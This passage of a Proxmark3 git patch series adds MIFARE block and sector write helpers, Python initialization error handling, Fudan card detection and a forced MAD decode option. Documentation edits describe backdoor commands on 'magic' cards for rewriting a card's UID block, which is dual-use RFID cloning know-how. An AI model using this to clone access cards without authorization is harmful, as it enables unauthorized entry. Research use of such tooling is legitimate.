MFBLOCK_SIZE)) == false) { + if (mfWriteBlock(empty, MF_KEY_A, (i + 1), blocks + (i * MFBLOCK_SIZE)) == PM3_EFAILED) { + if (mfWriteBlock(empty, MF_KEY_B, (i + 1), blocks + (i * MFBLOCK_SIZE)) == PM3_EFAILED) { PrintAndLogEx(WARNING, "failed writing block %d using default empty key", (i + 1)); res = false; break; diff --git a/client/src/mifare/mifarehost.c b/client/src/mifare/mifarehost.c index d24fe35ce..74d541827 100644 --- a/client/src/mifare/mifarehost.c +++ b/client/src/mifare/mifarehost.c @@ -994,6 +994,23 @@ int mfReadBlock(uint8_t blockNo, uint8_t keyType, const uint8_t *key, uint8_t *d return PM3_SUCCESS; } +int mfWriteBlock(const uint8_t *key, uint8_t keytype, uint8_t blockno, uint8_t *block) { + + uint8_t data[26]; + memcpy(data, key, MIFARE_KEY_SIZE); + memcpy(data + 10, block, MFBLOCK_SIZE); + + clearCommandBuffer(); + SendCommandMIX(CMD_HF_MIFARE_WRITEBL, blockno, keytype, 0, data, sizeof(data)); + PacketResponseNG resp; + if (WaitForResponseTimeout(CMD_ACK, &resp, 1500) == false) { + PrintAndLogEx(FAILED, "mfWriteBlock execution time out"); + return PM3_ETIMEOUT; + } + + return ((resp.oldarg[0] & 0xff) == 1)?PM3_SUCCESS:PM3_EFAILED; +} + // EMULATOR int mfEmlGetMem(uint8_t *data, int blockNum, int blocksCount) { diff --git a/client/src/mifare/mifarehost.h b/client/src/mifare/mifarehost.h index facb6c007..63b24ef63 100644 --- a/client/src/mifare/mifarehost.h +++ b/client/src/mifare/mifarehost.h @@ -88,6 +88,8 @@ int mfKeyBrute(uint8_t blockNo, uint8_t keyType, const uint8_t *key, uint64_t *r int mfReadSector(uint8_t sectorNo, uint8_t keyType, const uint8_t *key, uint8_t *data); int mfReadBlock(uint8_t blockNo, uint8_t keyType, const uint8_t *key, uint8_t *data); +int mfWriteBlock(const uint8_t *key, uint8_t keytype, uint8_t blockno, uint8_t *block); + int mfEmlGetMem(uint8_t *data, int blockNum, int blocksCount); int mfEmlSetMem(uint8_t *data, int blockNum, int blocksCount); int mfEmlSetMem_xt(uint8_t *data, int blockNum, int blocksCount, int blockBtWidth); From dae0ddc6e3ea9d3323f8892369511b91ceeb4e8e Mon Sep 17 00:00:00 2001 From: pingu2211 Date: Sun, 10 Nov 2024 23:33:22 +1100 Subject: [PATCH 111/155] Re-ordered function parameters to match mfReadBlock --- client/src/cmdhfmf.c | 13 +++++++------ client/src/mifare/mifarehost.c | 6 +++++- client/src/mifare/mifarehost.h | 3 +-- 3 files changed, 13 insertions(+), 9 deletions(-) diff --git a/client/src/cmdhfmf.c b/client/src/cmdhfmf.c index fb240763e..1b670f200 100644 --- a/client/src/cmdhfmf.c +++ b/client/src/cmdhfmf.c @@ -6769,9 +6769,9 @@ skipfile: } // write to card, try B key first - if (mfWriteBlock(keyB[i], MF_KEY_B, b, block) != PM3_SUCCESS) { + if (mfWriteBlock(b, MF_KEY_B, keyB[i], block) != PM3_SUCCESS) { // try A key, - if (mfWriteBlock(keyA[i], MF_KEY_A, b, block) != PM3_SUCCESS) { + if (mfWriteBlock(b, MF_KEY_A, keyA[i], block) != PM3_SUCCESS) { return PM3_EFAILED; } } @@ -7012,10 +7012,11 @@ int CmdHFMFNDEFWrite(const char *Cmd) { } // write to card, try B key first - if (mfWriteBlock(g_mifare_default_key, MF_KEY_B, block_no, block) != PM3_SUCCESS) { + if (mfWriteBlock(block_no, MF_KEY_B, g_mifare_default_key, block) != PM3_SUCCESS) { // try A key, - if (mfWriteBlock(g_mifare_ndef_key, MF_KEY_A, block_no, block) != PM3_SUCCESS) { + + if (mfWriteBlock(block_no, MF_KEY_A, g_mifare_ndef_key, block) != PM3_SUCCESS) { return PM3_EFAILED; } } @@ -9492,8 +9493,8 @@ static int CmdHFMFHidEncode(const char *Cmd) { PrintAndLogEx(INFO, "Writing %u - %s", (i + 1), sprint_hex_inrow(blocks + (i * MFBLOCK_SIZE), MFBLOCK_SIZE)); } - if (mfWriteBlock(empty, MF_KEY_A, (i + 1), blocks + (i * MFBLOCK_SIZE)) == PM3_EFAILED) { - if (mfWriteBlock(empty, MF_KEY_B, (i + 1), blocks + (i * MFBLOCK_SIZE)) == PM3_EFAILED) { + if (mfWriteBlock((i + 1), MF_KEY_A, empty, blocks + (i * MFBLOCK_SIZE)) == PM3_EFAILED) { + if (mfWriteBlock((i + 1), MF_KEY_B, empty, blocks + (i * MFBLOCK_SIZE)) == PM3_EFAILED) { PrintAndLogEx(WARNING, "failed writing block %d using default empty key", (i + 1)); res = false; break; diff --git a/client/src/mifare/mifarehost.c b/client/src/mifare/mifarehost.c index 74d541827..09f980917 100644 --- a/client/src/mifare/mifarehost.c +++ b/client/src/mifare/mifarehost.c @@ -994,7 +994,7 @@ int mfReadBlock(uint8_t blockNo, uint8_t keyType, const uint8_t *key, uint8_t *d return PM3_SUCCESS; } -int mfWriteBlock(const uint8_t *key, uint8_t keytype, uint8_t blockno, uint8_t *block) { +int mfWriteBlock(uint8_t blockno, uint8_t keyType, const uint8_t *key, uint8_t *block) { uint8_t data[26]; memcpy(data, key, MIFARE_KEY_SIZE); @@ -1011,6 +1011,10 @@ int mfWriteBlock(const uint8_t *key, uint8_t keytype, uint8_t blockno, uint8_t * return ((resp.oldarg[0] & 0xff) == 1)?PM3_SUCCESS:PM3_EFAILED; } +int mfWriteSector(uint8_t sectorNo, uint8_t keyType, const uint8_t *key, uint8_t *sector){ + +} + // EMULATOR int mfEmlGetMem(uint8_t *data, int blockNum, int blocksCount) { diff --git a/client/src/mifare/mifarehost.h b/client/src/mifare/mifarehost.h index 63b24ef63..5823cbdf5 100644 --- a/client/src/mifare/mifarehost.h +++ b/client/src/mifare/mifarehost.h @@ -88,8 +88,7 @@ int mfKeyBrute(uint8_t blockNo, uint8_t keyType, const uint8_t *key, uint64_t *r int mfReadSector(uint8_t sectorNo, uint8_t keyType, const uint8_t *key, uint8_t *data); int mfReadBlock(uint8_t blockNo, uint8_t keyType, const uint8_t *key, uint8_t *data); -int mfWriteBlock(const uint8_t *key, uint8_t keytype, uint8_t blockno, uint8_t *block); - +int mfWriteBlock(uint8_t blockno, uint8_t keyType, const uint8_t *key, uint8_t *block); int mfEmlGetMem(uint8_t *data, int blockNum, int blocksCount); int mfEmlSetMem(uint8_t *data, int blockNum, int blocksCount); int mfEmlSetMem_xt(uint8_t *data, int blockNum, int blocksCount, int blockBtWidth); From 88587e672cb8d0c0226b41ee2daca21cca022f6c Mon Sep 17 00:00:00 2001 From: pingu2211 Date: Sun, 10 Nov 2024 23:34:19 +1100 Subject: [PATCH 112/155] add a write sector helper --- client/src/mifare/mifarehost.c | 9 ++++++++- client/src/mifare/mifarehost.h | 2 ++ 2 files changed, 10 insertions(+), 1 deletion(-) diff --git a/client/src/mifare/mifarehost.c b/client/src/mifare/mifarehost.c index 09f980917..19d6f609d 100644 --- a/client/src/mifare/mifarehost.c +++ b/client/src/mifare/mifarehost.c @@ -1012,7 +1012,14 @@ int mfWriteBlock(uint8_t blockno, uint8_t keyType, const uint8_t *key, uint8_t * } int mfWriteSector(uint8_t sectorNo, uint8_t keyType, const uint8_t *key, uint8_t *sector){ - + int res; + for (int i=0;i<4; i++){ + res = mfWriteBlock((sectorNo*4)+i, keyType, key, sector+(i*MFBLOCK_SIZE)); + if (res != PM3_SUCCESS){ + return (i==0)?PM3_EFAILED:PM3_EPARTIAL; + } + } + return PM3_SUCCESS; } // EMULATOR diff --git a/client/src/mifare/mifarehost.h b/client/src/mifare/mifarehost.h index 5823cbdf5..443e83b7e 100644 --- a/client/src/mifare/mifarehost.h +++ b/client/src/mifare/mifarehost.h @@ -89,6 +89,8 @@ int mfReadSector(uint8_t sectorNo, uint8_t keyType, const uint8_t *key, uint8_t int mfReadBlock(uint8_t blockNo, uint8_t keyType, const uint8_t *key, uint8_t *data); int mfWriteBlock(uint8_t blockno, uint8_t keyType, const uint8_t *key, uint8_t *block); +int mfWriteSector(uint8_t sectorNo, uint8_t keyType, const uint8_t *key, uint8_t *sector); + int mfEmlGetMem(uint8_t *data, int blockNum, int blocksCount); int mfEmlSetMem(uint8_t *data, int blockNum, int blocksCount); int mfEmlSetMem_xt(uint8_t *data, int blockNum, int blocksCount, int blockBtWidth); From 3e4ab945f5889688e1d0828bdf5b6330c159c26a Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Sun, 10 Nov 2024 15:08:45 +0100 Subject: [PATCH 113/155] fix parameter name and style --- client/src/mifare/mifarehost.c | 19 +++++++++++-------- 1 file changed, 11 insertions(+), 8 deletions(-) diff --git a/client/src/mifare/mifarehost.c b/client/src/mifare/mifarehost.c index 19d6f609d..00570c7c2 100644 --- a/client/src/mifare/mifarehost.c +++ b/client/src/mifare/mifarehost.c @@ -1001,22 +1001,25 @@ int mfWriteBlock(uint8_t blockno, uint8_t keyType, const uint8_t *key, uint8_t * memcpy(data + 10, block, MFBLOCK_SIZE); clearCommandBuffer(); - SendCommandMIX(CMD_HF_MIFARE_WRITEBL, blockno, keytype, 0, data, sizeof(data)); + SendCommandMIX(CMD_HF_MIFARE_WRITEBL, blockno, keyType, 0, data, sizeof(data)); PacketResponseNG resp; if (WaitForResponseTimeout(CMD_ACK, &resp, 1500) == false) { PrintAndLogEx(FAILED, "mfWriteBlock execution time out"); return PM3_ETIMEOUT; } - - return ((resp.oldarg[0] & 0xff) == 1)?PM3_SUCCESS:PM3_EFAILED; + int res = PM3_SUCCESS; + if ((resp.oldarg[0] & 0xff) != 1) { + res = PM3_EFAILED; + } + return res; } int mfWriteSector(uint8_t sectorNo, uint8_t keyType, const uint8_t *key, uint8_t *sector){ - int res; - for (int i=0;i<4; i++){ - res = mfWriteBlock((sectorNo*4)+i, keyType, key, sector+(i*MFBLOCK_SIZE)); - if (res != PM3_SUCCESS){ - return (i==0)?PM3_EFAILED:PM3_EPARTIAL; + + for (int i = 0; i < 4; i++) { + int res = mfWriteBlock((sectorNo*4)+i, keyType, key, sector + ( i * MFBLOCK_SIZE )); + if (res != PM3_SUCCESS) { + return (i == 0) ? PM3_EFAILED : PM3_EPARTIAL; } } return PM3_SUCCESS; From c74edafff3b7f174dee64da391c3293a51409245 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Sun, 10 Nov 2024 15:09:15 +0100 Subject: [PATCH 114/155] style --- client/src/mifare/mifarehost.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/client/src/mifare/mifarehost.c b/client/src/mifare/mifarehost.c index 00570c7c2..bd772db34 100644 --- a/client/src/mifare/mifarehost.c +++ b/client/src/mifare/mifarehost.c @@ -1017,7 +1017,7 @@ int mfWriteBlock(uint8_t blockno, uint8_t keyType, const uint8_t *key, uint8_t * int mfWriteSector(uint8_t sectorNo, uint8_t keyType, const uint8_t *key, uint8_t *sector){ for (int i = 0; i < 4; i++) { - int res = mfWriteBlock((sectorNo*4)+i, keyType, key, sector + ( i * MFBLOCK_SIZE )); + int res = mfWriteBlock((sectorNo * 4) + i, keyType, key, sector + ( i * MFBLOCK_SIZE )); if (res != PM3_SUCCESS) { return (i == 0) ? PM3_EFAILED : PM3_EPARTIAL; } From 2562e0b8c92b9f7c42db68e84d4ca0cf20fb7afa Mon Sep 17 00:00:00 2001 From: Philippe Teuwen Date: Mon, 11 Nov 2024 20:34:14 +0100 Subject: [PATCH 115/155] fix python script color bug --- client/pyscripts/fm11rf08_full.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/client/pyscripts/fm11rf08_full.py b/client/pyscripts/fm11rf08_full.py index 2f618a3c4..e55964aef 100644 --- a/client/pyscripts/fm11rf08_full.py +++ b/client/pyscripts/fm11rf08_full.py @@ -939,9 +939,9 @@ def dumpAcl(data): def diskDump(data, uid, dpath): """Full Dump""" - dump18 = color(f'{dpath}hf-mf-{uid.hex().upper()}-dump18.bin', fg='yellow') + dump18 = f'{dpath}hf-mf-{uid.hex().upper()}-dump18.bin' - lprint(f'\nDump card data to file... {dump18}') + lprint(f'\nDump card data to file... ' + color(dump18, fg='yellow')) bad = False try: From 96f85d38bcdd31631bd7c0a884d7f1a551ae57e4 Mon Sep 17 00:00:00 2001 From: Philippe Teuwen Date: Mon, 11 Nov 2024 21:28:17 +0100 Subject: [PATCH 116/155] some PyStatus --- client/src/cmdscript.c | 37 +++++++++++++++++++++++++++++++------ 1 file changed, 31 insertions(+), 6 deletions(-) diff --git a/client/src/cmdscript.c b/client/src/cmdscript.c index 004da456f..d25063b33 100644 --- a/client/src/cmdscript.c +++ b/client/src/cmdscript.c @@ -440,6 +440,7 @@ static int CmdScriptRun(const char *Cmd) { Py_Initialize(); #else PyConfig py_conf; + PyStatus status; // We need to use Python mode instead of isolated to avoid breaking stuff. PyConfig_InitPythonConfig(&py_conf); // Let's still make things bit safer by being as close as possible to isolated mode. @@ -465,8 +466,10 @@ static int CmdScriptRun(const char *Cmd) { PySys_SetArgv(argc + 1, py_args); #else // The following line will implicitly pre-initialize Python - PyConfig_SetBytesArgv(&py_conf, argc + 1, argv); - + status = PyConfig_SetBytesArgv(&py_conf, argc + 1, argv); + if (PyStatus_Exception(status)) { + goto pyexception; + } // We disallowed in py_conf environment variables interfering with python interpreter's behavior. // Let's manually enable the ones we truly need. const char *virtual_env = getenv("VIRTUAL_ENV"); @@ -474,15 +477,27 @@ static int CmdScriptRun(const char *Cmd) { size_t length = strlen(virtual_env) + strlen("/bin/python3") + 1; char python_executable_path[length]; snprintf(python_executable_path, length, "%s/bin/python3", virtual_env); - PyConfig_SetBytesString(&py_conf, &py_conf.executable, python_executable_path); + status = PyConfig_SetBytesString(&py_conf, &py_conf.executable, python_executable_path); + if (PyStatus_Exception(status)) { + goto pyexception; + } } else { // This is required by Proxspace to work with an isolated Python configuration - PyConfig_SetBytesString(&py_conf, &py_conf.home, getenv("PYTHONHOME")); + status = PyConfig_SetBytesString(&py_conf, &py_conf.home, getenv("PYTHONHOME")); + if (PyStatus_Exception(status)) { + goto pyexception; + } } // This is required for allowing `import pm3` in python scripts - PyConfig_SetBytesString(&py_conf, &py_conf.pythonpath_env, getenv("PYTHONPATH")); + status = PyConfig_SetBytesString(&py_conf, &py_conf.pythonpath_env, getenv("PYTHONPATH")); + if (PyStatus_Exception(status)) { + goto pyexception; + } - Py_InitializeFromConfig(&py_conf); + status = Py_InitializeFromConfig(&py_conf); + if (PyStatus_Exception(status)) { + goto pyexception; + } // clean up PyConfig_Clear(&py_conf); @@ -516,6 +531,16 @@ static int CmdScriptRun(const char *Cmd) { PrintAndLogEx(SUCCESS, "\nfinished " _YELLOW_("%s"), filename); return PM3_SUCCESS; } + +pyexception: + PyConfig_Clear(&py_conf); + if (PyStatus_IsExit(status)) { + PrintAndLogEx(WARNING, "\nPython initialization failed with exitcode=%i", status.exitcode); + } + if (PyStatus_IsError(status)) { + PrintAndLogEx(WARNING, "\nPython initialization failed with exception: %s", status.err_msg); + } + return PM3_ESOFT; } #endif From 53e8f56ae276a91d51b7adb7320c89d0dde1a1b4 Mon Sep 17 00:00:00 2001 From: Akury83 <87064827+Akury83@users.noreply.github.com> Date: Tue, 12 Nov 2024 14:29:29 +1100 Subject: [PATCH 117/155] Update magic cards notes Signed-off-by: Akury83 <87064827+Akury83@users.noreply.github.com> --- doc/magic_cards_notes.md | 20 ++++++++++++++++---- 1 file changed, 16 insertions(+), 4 deletions(-) diff --git a/doc/magic_cards_notes.md b/doc/magic_cards_notes.md index 87b9aa8b9..fb838d4db 100644 --- a/doc/magic_cards_notes.md +++ b/doc/magic_cards_notes.md @@ -1043,7 +1043,7 @@ No implemented commands today | 7AFF000000000000BAFA000000000008 | UFUID | | 7AFF0000000000000000000000000008 | ZUID | -*Not all tags are the same!* UFUID, ZUID and PFUID* are not full implementations of Magic85 - they only acknowledge the first 8 (except wakeup command) and last config byte(s). +*Not all tags are the same!* UFUID, ZUID and PFUID* are not full implementations of USCUID - they only acknowledge the first 8 (except wakeup command) and last config byte(s). *Read and write config commands are flipped @@ -1053,9 +1053,9 @@ Well-known variations are described below. ^[Top](#top) -Known as "write only once", which is only partially true. +Known as "write only once", which is only partially true. Please note that some newer FUIDs have had ton configration blocks locked down and are truly a write-once tag. -Allows direct write to block 0 only when UID is default `AA55C396`. But always could be rewritten multiple times with backdoors commands. +Allows direct write to block 0 only when UID is default `AA55C396`. If your tag responds to a gen4 magic wakeup, the UID could always be rewritten multiple times with backdoors commands. Backdoor commands are available even after the personalization and makes that tag detectable. @@ -1074,6 +1074,8 @@ That's a key difference from [OTP](#mifare-classic-direct-write-otp)/[OTP 2.0](# ^[Top](#top) +Unlocked tag type: + ``` hf mf info ... @@ -1082,6 +1084,15 @@ hf mf info ``` +or locked down tag type: + +``` +hf mf info +... +[+] Magic capabilities... Write Once / FUID + +``` + ### Parsed configuration ^[Top](#top) @@ -1103,6 +1114,7 @@ hf mf info [+] 00 .. Unknown [+] 08 SAK ``` +**Note: this is only possile on the FUID style that has not been locked down. ### Commands @@ -1115,7 +1127,7 @@ hf mf info * Write hidden block: `A8xx+crc`, `[16 bytes data]+crc` * Read configuration: `E000+crc` * Write configuration: `E100+crc` -* Example of changing block 0 after the personalization: +* Example of changing block 0 after the personalization (only possible on tags that have not been locked down): ``` [usb] pm3 --> hf 14a raw -k -a -b 7 20 From 4ec171c317fcaa6dfd920303b5da2d7de5a2a878 Mon Sep 17 00:00:00 2001 From: Philippe Teuwen Date: Tue, 12 Nov 2024 09:41:46 +0100 Subject: [PATCH 118/155] Adding FM1216-137 detection --- client/src/cmdhfmf.c | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/client/src/cmdhfmf.c b/client/src/cmdhfmf.c index 1b670f200..e4f29c028 100644 --- a/client/src/cmdhfmf.c +++ b/client/src/cmdhfmf.c @@ -9719,6 +9719,11 @@ static int CmdHF14AMfInfo(const char *Cmd) { // Note: it also has ATS = // 10 78 80 90 02 20 90 00 00 00 00 00 + UID + CRC PrintAndLogEx(SUCCESS, "Fudan FM1208-10"); + } else if (fKeyType == MF_KEY_BD && memcmp(fkey, k08, sizeof(fkey)) == 0 + && card.sak == 0x28 && memcmp(blockdata + 5, "\x28\x04\x00\x90\x53\xB7\x0C\x00\x00\x00\x00", 11) == 0) { + // Note: it also has ATS = + // 10 78 80 B0 02 20 90 00 00 00 00 00 + UID + CRC + PrintAndLogEx(SUCCESS, "Fudan FM1216-137"); } else if (fKeyType == MF_KEY_BD && memcmp(fkey, k08, sizeof(fkey)) == 0 && card.sak == 0x88 && memcmp(blockdata + 5, "\x88\x04\x00\x43", 4) == 0) { PrintAndLogEx(SUCCESS, "Infineon SLE66R35"); From 69e7613a5282260790d927036fe65b9f3b9abd27 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Tue, 12 Nov 2024 09:42:33 +0100 Subject: [PATCH 119/155] added identification of FM1216-137 cpu cards. Thanks mmm for the insights --- CHANGELOG.md | 3 ++- client/src/cmdhf14a.c | 1 + client/src/cmdhfmf.c | 7 +++++++ 3 files changed, 10 insertions(+), 1 deletion(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index dbbf7333f..7d60deab8 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -3,7 +3,8 @@ All notable changes to this project will be documented in this file. This project uses the changelog in accordance with [keepchangelog](http://keepachangelog.com/). Please use this to write notable changes, which is not the same as git commit log... ## [unreleased][unreleased] -- Major changes to `hf iclass configcard` expanding the list of available options and functionalities (@antiklesys) +- Changed `hf 14a info` `hf mf info` - now detects FM1216-137 CPU cards (@iceman1001) +- Changed `hf iclass configcard` expanding the list of available options and functionalities (@antiklesys) - Fixed `intertic.py` - missing comma in array (@iceman1001) - Added improved algorithm for `hf iclass legrec` leveraging reduced entropy from hash0 constraints (@antiklesys) - Fixed `hf iclass configcard` when generating elite or keyroll elite configcards for Rev.C legacy readers (@antiklesys) diff --git a/client/src/cmdhf14a.c b/client/src/cmdhf14a.c index 3d8d50626..d5fbf2633 100644 --- a/client/src/cmdhf14a.c +++ b/client/src/cmdhf14a.c @@ -1836,6 +1836,7 @@ static int detect_nxp_card_print(uint8_t sak, uint16_t atqa, uint64_t select_sta } else if ((sak & 0x28) == 0x28) { printTag("SmartMX with MIFARE Classic 1K"); printTag("FM1208-10 with MIFARE Classic 1K"); + printTag("FM1216-137 with MIFARE Classic 1K"); type |= MTCLASSIC; } else if ((sak & 0x08) == 0x08) { if (select_status == 1) { diff --git a/client/src/cmdhfmf.c b/client/src/cmdhfmf.c index 1b670f200..052b5615c 100644 --- a/client/src/cmdhfmf.c +++ b/client/src/cmdhfmf.c @@ -9719,6 +9719,13 @@ static int CmdHF14AMfInfo(const char *Cmd) { // Note: it also has ATS = // 10 78 80 90 02 20 90 00 00 00 00 00 + UID + CRC PrintAndLogEx(SUCCESS, "Fudan FM1208-10"); + + } else if (fKeyType == MF_KEY_BD && memcmp(fkey, k08, sizeof(fkey)) == 0 + && card.sak == 0x28 && memcmp(blockdata + 5, "\x28\x04\x00\x90\x53\xB7\x0C\x00\x00\x00\x00", 11) == 0) { + // Note: it also has ATS = + // 10 78 80 B0 02 20 90 00 00 00 00 00 + UID + CRC + PrintAndLogEx(SUCCESS, "Fudan FM1208-10"); + } else if (fKeyType == MF_KEY_BD && memcmp(fkey, k08, sizeof(fkey)) == 0 && card.sak == 0x88 && memcmp(blockdata + 5, "\x88\x04\x00\x43", 4) == 0) { PrintAndLogEx(SUCCESS, "Infineon SLE66R35"); From b5dcdc61f89876a1e92d8d3363284f01148fd101 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Tue, 12 Nov 2024 09:46:39 +0100 Subject: [PATCH 120/155] sigh --- client/src/cmdhfmf.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/client/src/cmdhfmf.c b/client/src/cmdhfmf.c index b2b64953d..b68dfbd9d 100644 --- a/client/src/cmdhfmf.c +++ b/client/src/cmdhfmf.c @@ -9724,7 +9724,7 @@ static int CmdHF14AMfInfo(const char *Cmd) { && card.sak == 0x28 && memcmp(blockdata + 5, "\x28\x04\x00\x90\x53\xB7\x0C\x00\x00\x00\x00", 11) == 0) { // Note: it also has ATS = // 10 78 80 B0 02 20 90 00 00 00 00 00 + UID + CRC - PrintAndLogEx(SUCCESS, "Fudan FM1208-10"); + PrintAndLogEx(SUCCESS, "Fudan FM1216-137"); } else if (fKeyType == MF_KEY_BD && memcmp(fkey, k08, sizeof(fkey)) == 0 && card.sak == 0x28 && memcmp(blockdata + 5, "\x28\x04\x00\x90\x53\xB7\x0C\x00\x00\x00\x00", 11) == 0) { From fcca67bf89d77a71731d4bbb0ac203923f158b14 Mon Sep 17 00:00:00 2001 From: Philippe Teuwen Date: Tue, 12 Nov 2024 17:51:17 +0100 Subject: [PATCH 121/155] No more FM1216-137, or maybe still... --- client/src/cmdhfmf.c | 7 ------- 1 file changed, 7 deletions(-) diff --git a/client/src/cmdhfmf.c b/client/src/cmdhfmf.c index b68dfbd9d..e4f29c028 100644 --- a/client/src/cmdhfmf.c +++ b/client/src/cmdhfmf.c @@ -9719,13 +9719,6 @@ static int CmdHF14AMfInfo(const char *Cmd) { // Note: it also has ATS = // 10 78 80 90 02 20 90 00 00 00 00 00 + UID + CRC PrintAndLogEx(SUCCESS, "Fudan FM1208-10"); - - } else if (fKeyType == MF_KEY_BD && memcmp(fkey, k08, sizeof(fkey)) == 0 - && card.sak == 0x28 && memcmp(blockdata + 5, "\x28\x04\x00\x90\x53\xB7\x0C\x00\x00\x00\x00", 11) == 0) { - // Note: it also has ATS = - // 10 78 80 B0 02 20 90 00 00 00 00 00 + UID + CRC - PrintAndLogEx(SUCCESS, "Fudan FM1216-137"); - } else if (fKeyType == MF_KEY_BD && memcmp(fkey, k08, sizeof(fkey)) == 0 && card.sak == 0x28 && memcmp(blockdata + 5, "\x28\x04\x00\x90\x53\xB7\x0C\x00\x00\x00\x00", 11) == 0) { // Note: it also has ATS = From 6aadc2ec10f1bfc97af9a4530a9a7ed07e5dbb6e Mon Sep 17 00:00:00 2001 From: BlueChip Date: Tue, 12 Nov 2024 18:40:18 +0000 Subject: [PATCH 122/155] add switch to force MAD decode --- client/pyscripts/fm11rf08_full.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/client/pyscripts/fm11rf08_full.py b/client/pyscripts/fm11rf08_full.py index e55964aef..4eb9e2b8d 100644 --- a/client/pyscripts/fm11rf08_full.py +++ b/client/pyscripts/fm11rf08_full.py @@ -166,7 +166,7 @@ globals: # Currently dumpAcl is hardcoded for RF08S dumpAcl(data) - if mad is True: + if (mad is True) or (args.mad is True): dumpMad(dump18) if (args.bambu is True) or (detectBambu(data) is True): @@ -207,6 +207,7 @@ def parseCli(): parser.add_argument('-r', '--recover', action='store_true', help='run key recovery script if required') parser.add_argument('-f', '--force', action='store_true', help='force recovery of keys') parser.add_argument('-b', '--bambu', action='store_true', help='force Bambu tag decode') + parser.add_argument('-m', '--mad', action='store_true', help='force M.A.D. decode') parser.add_argument('-v', '--validate', action='store_true', help='check Fudan signature (requires internet)') parser.add_argument('--fast', action='store_true', help='use ecfill for faster card transactions') From 06386033543089ecdeaf3f68c0e5a979ea93d081 Mon Sep 17 00:00:00 2001 From: BlueChip Date: Wed, 13 Nov 2024 01:58:33 +0000 Subject: [PATCH 123/155] add --force to core MAD decode --- client/pyscripts/fm11rf08_full.py | 2 +- client/src/cmdhfmf.c | 6 ++++-- 2 files changed, 5 insertions(+), 3 deletions(-) diff --git a/client/pyscripts/fm11rf08_full.py b/client/pyscripts/fm11rf08_full.py index 4eb9e2b8d..7fbb0511a 100644 --- a/client/pyscripts/fm11rf08_full.py +++ b/client/pyscripts/fm11rf08_full.py @@ -978,7 +978,7 @@ globals: lprint("====================================") lprint() - cmd = f"hf mf mad --verbose --file {dump18}" + cmd = f"hf mf mad --force --verbose --file {dump18}" lprint(f"`{cmd}`", log=False) lprint('\n`-._,-\'"`-._,-"`-._,-\'"`-._,-\'"`-._,-\'"`-._,-\'"`-._,-\'"`-._,-\'"`-._,\n') diff --git a/client/src/cmdhfmf.c b/client/src/cmdhfmf.c index e4f29c028..7c0e09ae5 100644 --- a/client/src/cmdhfmf.c +++ b/client/src/cmdhfmf.c @@ -6171,7 +6171,8 @@ static int CmdHF14AMfMAD(const char *Cmd) { arg_lit0("b", "keyb", "use key B for access printing sectors (by default: key A)"), arg_lit0(NULL, "be", "(optional, BigEndian)"), arg_lit0(NULL, "dch", "decode Card Holder information"), - arg_str0("f", "file", "", "load dump file and decode MAD"), + arg_str0("f", "file", "", "load dump file and decode MAD"), + arg_lit0(NULL, "force", "force decode (skip key check)"), arg_param_end }; CLIExecWithReturn(ctx, Cmd, argtable, true); @@ -6185,6 +6186,7 @@ static int CmdHF14AMfMAD(const char *Cmd) { bool keyB = arg_get_lit(ctx, 4); bool swapmad = arg_get_lit(ctx, 5); bool decodeholder = arg_get_lit(ctx, 6); + bool force = arg_get_lit(ctx, 8); int fnlen = 0; char filename[FILE_PATH_SIZE] = {0}; @@ -6214,7 +6216,7 @@ static int CmdHF14AMfMAD(const char *Cmd) { } // MAD detection - if (HasMADKey(dump) == false) { + if ((HasMADKey(dump) == false) && (force == false)) { PrintAndLogEx(FAILED, "No MAD key was detected in the dump file"); free(dump); return PM3_ESOFT; From 365758ff50e963f1d6bedcdbb395ca27f4c99035 Mon Sep 17 00:00:00 2001 From: Philippe Teuwen Date: Wed, 13 Nov 2024 12:21:50 +0100 Subject: [PATCH 124/155] Adding FM1208-10 detection with slightly different block0, thanks @mmm! --- client/src/cmdhfmf.c | 9 ++++++++- 1 file changed, 8 insertions(+), 1 deletion(-) diff --git a/client/src/cmdhfmf.c b/client/src/cmdhfmf.c index e4f29c028..e6fafd379 100644 --- a/client/src/cmdhfmf.c +++ b/client/src/cmdhfmf.c @@ -9715,10 +9715,17 @@ static int CmdHF14AMfInfo(const char *Cmd) { && card.sak == 0x20 && memcmp(blockdata + 8, "\x62\x63\x64\x65\x66\x67\x68\x69", 8) == 0) { PrintAndLogEx(SUCCESS, "Fudan FM11RF32 (SAK=20)"); } else if (fKeyType == MF_KEY_BD && memcmp(fkey, k08, sizeof(fkey)) == 0 - && card.sak == 0x28 && memcmp(blockdata + 5, "\x28\x04\x00\x90\x10\x15\x01\x00\x00\x00\x00", 11) == 0) { + && card.sak == 0x28 && ( + (memcmp(blockdata + 5, "\x28\x04\x00\x90\x10\x15\x01\x00\x00\x00\x00", 11) == 0) || + (memcmp(blockdata + 5, "\x28\x04\x00\x90\x11\x15\x01\x00\x00\x00\x00", 11) == 0))) { // Note: it also has ATS = // 10 78 80 90 02 20 90 00 00 00 00 00 + UID + CRC PrintAndLogEx(SUCCESS, "Fudan FM1208-10"); + } else if (fKeyType == MF_KEY_BD && memcmp(fkey, k08, sizeof(fkey)) == 0 + && card.sak == 0x28 && memcmp(blockdata + 5, "\x28\x04\x00\x90\x11\x15\x01\x00\x00\x00\x00", 11) == 0) { + // Note: it also has ATS = + // 10 78 80 90 02 20 90 00 00 00 00 00 + UID + CRC + PrintAndLogEx(SUCCESS, "Fudan FM1208-10 ?"); } else if (fKeyType == MF_KEY_BD && memcmp(fkey, k08, sizeof(fkey)) == 0 && card.sak == 0x28 && memcmp(blockdata + 5, "\x28\x04\x00\x90\x53\xB7\x0C\x00\x00\x00\x00", 11) == 0) { // Note: it also has ATS = From 9ac59b581942cee67f44dc265d818fe98fe440c1 Mon Sep 17 00:00:00 2001 From: Philippe Teuwen Date: Wed, 13 Nov 2024 12:23:43 +0100 Subject: [PATCH 125/155] sigh, now my turn... --- client/src/cmdhfmf.c | 5 ----- 1 file changed, 5 deletions(-) diff --git 